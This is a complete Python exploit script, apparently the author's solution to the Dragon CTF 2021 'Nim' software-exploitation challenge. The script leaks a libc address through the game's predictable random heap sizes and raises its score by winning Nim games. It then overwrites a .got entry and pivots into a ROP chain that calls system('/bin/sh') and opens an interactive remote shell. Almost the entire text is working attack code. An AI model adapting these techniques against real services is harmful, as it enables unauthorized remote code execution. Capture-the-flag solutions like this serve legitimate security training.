#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Filename:         exploit.py
# Author:           Mateusz Jurczyk
# Task:             Nim
# Competition:      Dragon CTF 2021
# Category:         Software exploitation
# Scoring:          408 pts (medium)
# Number of solves: 5 out of 247 teams

import sys
import socket
import telnetlib

def read_until(s, text):
  buffer = ""
  while len(buffer) < len(text):
    buffer += s.recv(1)
  while buffer[-len(text):] != text:
    buffer += s.recv(1)
  return buffer[:-len(text)]

##########################################################################
# Exploit start
##########################################################################

class RandGenerator:
  def __init__(self, seed):
    self.state = seed

  def GetNext(self):
    value = self.state & 0x7fffffff
    self.state = self.LCG(self.state)
    return value

  @staticmethod
  def LCG(state):
    return ((561860773102413563 * state) % 1152921504606846883)

def QwordToIntPair(value):
  assert(value < 2 ** 64)
  return [value & 0xffffffff, value >> 32]

def InitGame(s, bet, heaps):
  read_until(s, "How much do you bet on the game? ")
  s.sendall("%d\n" % bet)

  read_until(s, "How many heaps? ")
  s.sendall("%d\n" % (len(heaps) * 2))

  for x in range(len(heaps)):
    read_until(s, "Size of heap %d: " % (len(heaps) + x + 1))
    s.sendall("%d\n" % heaps[x])

def SurrenderGame(s):
  read_until(s, "Choose a heap (0 to resign): ")
  s.sendall("0\n")

def WinGame(s):
  while True:
    read_until(s, "The current set of heaps is: [")
    heaps = map(lambda x: int(x), read_until(s, "]").split(", "))

    nonempty_heaps = sum(1 for x in heaps if x > 0)
    last_move = (nonempty_heaps == 1)

    nim_sum = reduce(lambda x, y: x ^ y, heaps)

    # A nim sum of 0 would mean we're in a losing position, which should never
    # happen with appropriately selected sizes of the heaps.
    assert(nim_sum != 0)

    play_idx, play_value = None, None
    for idx, heap in enumerate(heaps):
      intended_value = heap ^ nim_sum
      if intended_value < heap:
        play_idx = idx
        play_value = heap - intended_value
        break

    assert((play_idx != None) and (play_value != None))

    read_until(s, "Choose a heap (0 to resign): ")
    s.sendall("%d\n" % (play_idx + 1))

    read_until(s, "Choose the number of stone(s) to take off the heap: ")
    s.sendall("%d\n" % play_value)

    if last_move:
      break

def main(argv):
  HOST = "127.0.0.1"
  PORT = 4141

  if len(argv) > 1:
    HOST = argv[1]
  if len(argv) > 2:
    PORT = int(argv[2])

  while True:
    # Connect to the service.
    s = socket.socket()
    s.connect((HOST, PORT))

    print("[+] Connected to %s:%d" % (HOST, PORT))

    # Start playing.
    read_until(s, "Choice: ")
    s.sendall("p\n")

    read_until(s, "What's your name? ")
    s.sendall("ctf\n")

    # Initialize the first game for the sole purpose of reading the initial heap
    # sizes, in order to leak the libc address and internal prng state.
    InitGame(s, bet=1, heaps=[1,1,1,1])

    read_until(s, "Dealer has taken ")
    stones_taken = int(read_until(s, " stone(s) from heap "))
    heap_changed = int(read_until(s, ".\n"))

    read_until(s, "The current set of heaps is: [")
    heaps = map(lambda x: int(x), read_until(s, "]").split(", "))

    heaps[heap_changed - 1] += stones_taken

    print("[+] Brute-forcing libc address based on initial heap sizes...")

    LIBC_RAND_ADDRESS = None
    for x in xrange(2 ** 10):
      rand_candidate = (0x7e << 40) | (x << 31) | heaps[0]

      if (RandGenerator.LCG(rand_candidate) & 0x7fffffff) == heaps[1]:
        LIBC_RAND_ADDRESS = rand_candidate
        break

    assert(LIBC_RAND_ADDRESS != None)
    LIBC_BASE = LIBC_RAND_ADDRESS - 0x4AE90

    # The strlen .got entry used internally by __stack_chk_fail.
    LIBC_STRLEN_GOT = LIBC_BASE + 0x1EB0A8

    # Adds 0x398 to RSP, such that we land from the controlled .got call in
    # __stack_chk_fail directly into the ROP constructed below (as part of the
    # heaps stack array).
    LIBC_STACK_PIVOT = LIBC_BASE + 0x55040

    # ROP gadgets.
    LIBC_POP_RDI = LIBC_BASE + 0x26B72
    LIBC_BIN_SH = LIBC_BASE + 0x1B75AA
    LIBC_SYSTEM = LIBC_BASE + 0x55410

    print("[+] Addresses leaked, rand: %x, libc base: %x" %
          (LIBC_RAND_ADDRESS, LIBC_BASE))

    if (LIBC_BASE & 0x80000000) != 0:
      print("[-] Found unfortunate libc address with 32-nd bit set. " +
            "Restarting exploit.")
      s.close()
      continue

    # Surrender the game, as it is unwinnable at this point anyway.
    # We lose 1 point.
    SurrenderGame(s)

    # Initialize internal structures to keep up with the remote game state.
    score = 9999
    prng = RandGenerator(LIBC_RAND_ADDRESS)

    for _ in range(4):
      prng.GetNext()

    # Play the game until we've reached the required score. The +1 in target
    # score is to account for the final game which we lose, but is required
    # to overflow the stack.
    target_score = (LIBC_STACK_PIVOT + 1) & 0xffffffff
    print("[+] The target game score is %d, starting to play the game..." %
          target_score)

    dealer_starts = True
    while score < target_score:
      print("[+] Current score: %d" % score)

      # Calculate the maximum size of the bet for this step.
      if 2 * score < target_score:
        next_bet = score
      else:
        next_bet = target_score - score

      # Calculate the user-controlled heap sizes to put the dealer in a losing
      # position.
      dealer_heaps = []
      for _ in range(4):
        dealer_heaps.append(prng.GetNext())

      dealer_nim_sum = reduce(lambda x, y: x ^ y, dealer_heaps)

      # First iteration means the dealer starts. Otherwise the player is first
      # to move.
      if dealer_starts:
        dealer_starts = False

        if dealer_nim_sum != 0:
          player_heaps = [1, 2, 3, reduce(lambda x, y: x ^ y, dealer_heaps)]
        else:
          player_heaps = [1, 1, 1, 1]
      else:
        if dealer_nim_sum != 0:
          player_heaps = [1, 1, 1, 1]
        else:
          player_heaps = [1, 1, 1, 2]

      read_until(s, "Continue playing [y/n]? ")
      s.sendall("y\n")

      InitGame(s, next_bet, player_heaps)
      WinGame(s)

      score += next_bet

    # Initialize the last game to overwrite the pointer argument on the stack.
    print("[+] Games completed, triggering the vulnerability and getting shell.")

    read_until(s, "Continue playing [y/n]? ")
    s.sendall("y\n")

    rop = (QwordToIntPair(LIBC_POP_RDI) +
           QwordToIntPair(LIBC_BIN_SH) + 
           QwordToIntPair(LIBC_SYSTEM))
    InitGame(s, 1, QwordToIntPair(LIBC_STRLEN_GOT) + rop + [0x42424242] * 34)

    # Immediately resign and leave the game, which first triggers the 32-bit
    # write-what-where (libc .got gets overwritten), and then transfers control
    # to our ROP through __stack_chk_fail.
    SurrenderGame(s)

    read_until(s, "Continue playing [y/n]? ")
    s.sendall("n\n")

    # We should have shell now, switch to interactive mode.
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

    break

if __name__ == "__main__":
  main(sys.argv)

